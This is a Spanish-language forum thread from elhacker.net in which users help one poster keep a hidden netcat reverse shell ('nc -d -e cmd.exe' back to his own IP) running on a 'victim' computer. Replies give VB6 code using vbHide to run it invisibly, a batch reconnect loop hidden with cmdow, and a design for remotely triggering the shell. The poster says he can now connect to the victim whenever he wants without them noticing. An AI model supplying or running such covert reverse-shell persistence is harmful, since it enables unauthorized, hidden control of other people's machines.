Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: _LooSeR_ en 3 Marzo 2008, 21:52 pm



Título: Duda sobre un bucle para NetCat
Publicado por: _LooSeR_ en 3 Marzo 2008, 21:52 pm
Hola, bueno el caso es que estaba haciendo probatinas con el netcat. Y uno de los problemas al introducirlo en una maquina remota, es que si se cierra la conexión, no podemos volver a conectarnos hasta que no reinicie el equipo la victima. (Esto si tenemos la instruccion necesaria en el registro)

Asi que probé con un código en Batch, ya que ahi funciona a la perfeccion, creando un bucle, que haga que la victima se conecte a nosotros. Y como en un .bat, hasta que la instruccion no termine, no pasa a la siguiente, cuando conseguimos conectarnos la ejecucion del bucle queda interrumpida.

Pero el problema de esto es que aparece la ventanita de ms-dos, y aunque se puede con un "@echo off" hacer que no se vea nada, la venanita no se puede ocultar.

Así que pense en hacerla en VisualBasic con la propiedad del formulario Visible puesta en False, y poniendo este pequeño codigo:

Código:
Private Sub Form_Load()

bucle:
    Shell "nc -d -e cmd.exe -p 25554"
    GoTo bucle
   
End Sub

Claro esta, el problema es que tenemos un bucle infinito, ya que no para de ejecutar esta instrucción. Mi pregunta es si existe alguna forma de hacer que hasta que la conexion del netcat no haya terminado, no vuelva a ejecutarla.

Saludos! Gracias


Título: Re: Duda sobre un bucle para NetCat
Publicado por: naderST en 3 Marzo 2008, 22:07 pm
esto tiene algo que ver con VB??? porque veo puro batch!


Título: Re: Duda sobre un bucle para NetCat
Publicado por: _LooSeR_ en 3 Marzo 2008, 22:11 pm
Sip, estoy buscando si existe una forma en visual basic de hacer que este bucle no vuelva a iterar hasta que la conexión con netcat haya terminado.

Lo primero es un ejemplo que puse en batch, pero tiene el problema de que te aparece el pantallon de MS-DOS en negro.

Por eso trataba de hacerlo bajo VB, saludos!


Título: Re: Duda sobre un bucle para NetCat
Publicado por: juancho77 en 4 Marzo 2008, 01:10 am
A ver. tu quieres dejar un puerto a la escucha en la maquina remota o que? No se entiende de que es el bucle!

Citar
Mi pregunta es si existe alguna forma de hacer que hasta que la conexion del netcat no haya terminado, no vuelva a ejecutarla.

Tendria que hacer uso de un condicional, como If..Then o Do while...Loop.

Código:
Do until x= 10
  x=x+1
  Msgbox x
Loop

Si especificas mejor lo del netcat te puedo pasar algun coidog hecho mas preciso.
Y a esta linea le faltaria vbHide, poque sino se ejecutaria el simbolo de sistema igualmente visible.
Código:
Código:
Private Sub Form_Load()

bucle:
    Shell "nc -d -e cmd.exe -p 25554", vbHide
    GoTo bucle
   
End Sub


Título: Re: Duda sobre un bucle para NetCat
Publicado por: _LooSeR_ en 4 Marzo 2008, 02:40 am
En la instrucción faltaría mi IP (en vez del -p) antes del puerto, me confundí al escribirlo.

El bucle es para hacer que siempre que acabe la conexión vuelva a intentar conectar conmigo. Pero me temo que en vb seria complicado, lo explique en batch, porque el bucle si funciona ahi, hasta que esta linea:
Código:
nc -d -e cmd.exe MiIp 25554
no termine, no salta a la siguiente instruccion en el bucle del .bat, porque esa linea termina cuando la conexión del netcat ha sido finalizada (en vb si ejecutara ese programa externo, lo ejecutaria y saltaria a la siguiente linea de codigo sin que la ejecución del netcat hubiera terminado, realizando un bucle infinito sin esperar la desconexion del netcat).

El motivo por el que no usé un loop, un while o un until fue porque no queria que ese bucle terminase, pero si que se detuviera.

De todos modos, al final encontré una solucion que es un comando para el cmd, el "cmdow" que lo descargué de internet. Y colocandoselo a la victima, y añadiendo en el codigo del bucle batch  "cmdow @ /hid" , esconde la ventana donde se ejecuta el .bat

De modo que al final conseguí hacerlo sin visual basic, la unica pega es que debemos colocar el cmdow.exe en el pc de la victima, pero ahora ya puedo estar conectado a ella siempre que quiera, ya que ella siempre está intentando conectarse conmigo, y el bucle en batch lo realiza bastante lento, por lo cual no lo percibirá.

Muchas gracias, aunque me sigue interesando el tema en Vb.

Una duda Juancho77, en vb si ejecutara en vez de ese codigo, un archivo .bat
Y le pusiera vbHide despues, ocultaría la ventana de ejecución del archivo.bat?

Lo digo porque esto tambíen me hubiera servido para lanzar desde una aplicacion en vb el bucle hecho en batch. Sin necesidad de colocarle el "cmdow" a la victima.

Saludos!


Título: Re: Duda sobre un bucle para NetCat
Publicado por: cassiani en 4 Marzo 2008, 05:28 am
en vb si ejecutara en vez de ese codigo, un archivo .bat Y le pusiera vbHide despues, ocultaría la ventana de ejecución del archivo.bat?

Efectivamente, prueba a hacerlo:

Código:
Shell "Tu_Bat.Bat", vbHide


Título: Re: Duda sobre un bucle para NetCat
Publicado por: NightZpy en 4 Marzo 2008, 06:40 am
Buscas en la lista de procesos y cuando ya no este el proceso que hace la conexión, lo relanzas....

O buscas en la lista que bota el netstat -nb, y luego revisas linea por linea si la conexión está activa...

Salu2s...


Título: Re: Duda sobre un bucle para NetCat
Publicado por: juancho77 en 4 Marzo 2008, 06:49 am
Ahi te lo dijo casiani  ;D


Título: Re: Duda sobre un bucle para NetCat
Publicado por: _LooSeR_ en 4 Marzo 2008, 08:46 am
Ok, duda resuelta muchas gracias ;)

Interesante lo que proponias NightZpy, pero eso ya supera mis conocimientos de Vb :P


Título: Re: Duda sobre un bucle para NetCat
Publicado por: Spider-Net en 4 Marzo 2008, 14:40 pm
Y no es más fácil llamar a netcat con el parámetro -L que deja a la escucha la máquina por mucho que cierres o abras la conexión??  :huh: :huh: :huh:


Título: Re: Duda sobre un bucle para NetCat
Publicado por: _LooSeR_ en 4 Marzo 2008, 16:39 pm
La cosa es que es la víctima la que se conecta a mí, es una conexión inversa.

En mi ordenador quedo a la escucha, con el -L que nombras. Pero cuando se cierra la primera conexión que la víctima realiza conmigo, no vuelve a conectarme hasta que no vuelva a ejecutar esa orden.

Saludos!


Título: Re: Duda sobre un bucle para NetCat
Publicado por: juancho77 en 4 Marzo 2008, 17:53 pm
Yo hice un programa que trabajaba con el netcat.
Iba asi:
Primero ponia a escuchar mi netcat, luego desde el cliente hecho en VB6 enviaba una orden al servidor para que iniciara netcat con x parametros, y me devolviera la shell. Lo podes hacer escribiendo "startnc", envias los datos y que en el servidor los interprete e inicie el netcat cada vez que recibe eso ( "startnc" ).


Título: Re: Duda sobre un bucle para NetCat
Publicado por: _LooSeR_ en 4 Marzo 2008, 18:06 pm
Gracias por la idea Juancho77, creo que la implementaré asi voy cogiendo algo de manejo en vb.

Un saludo!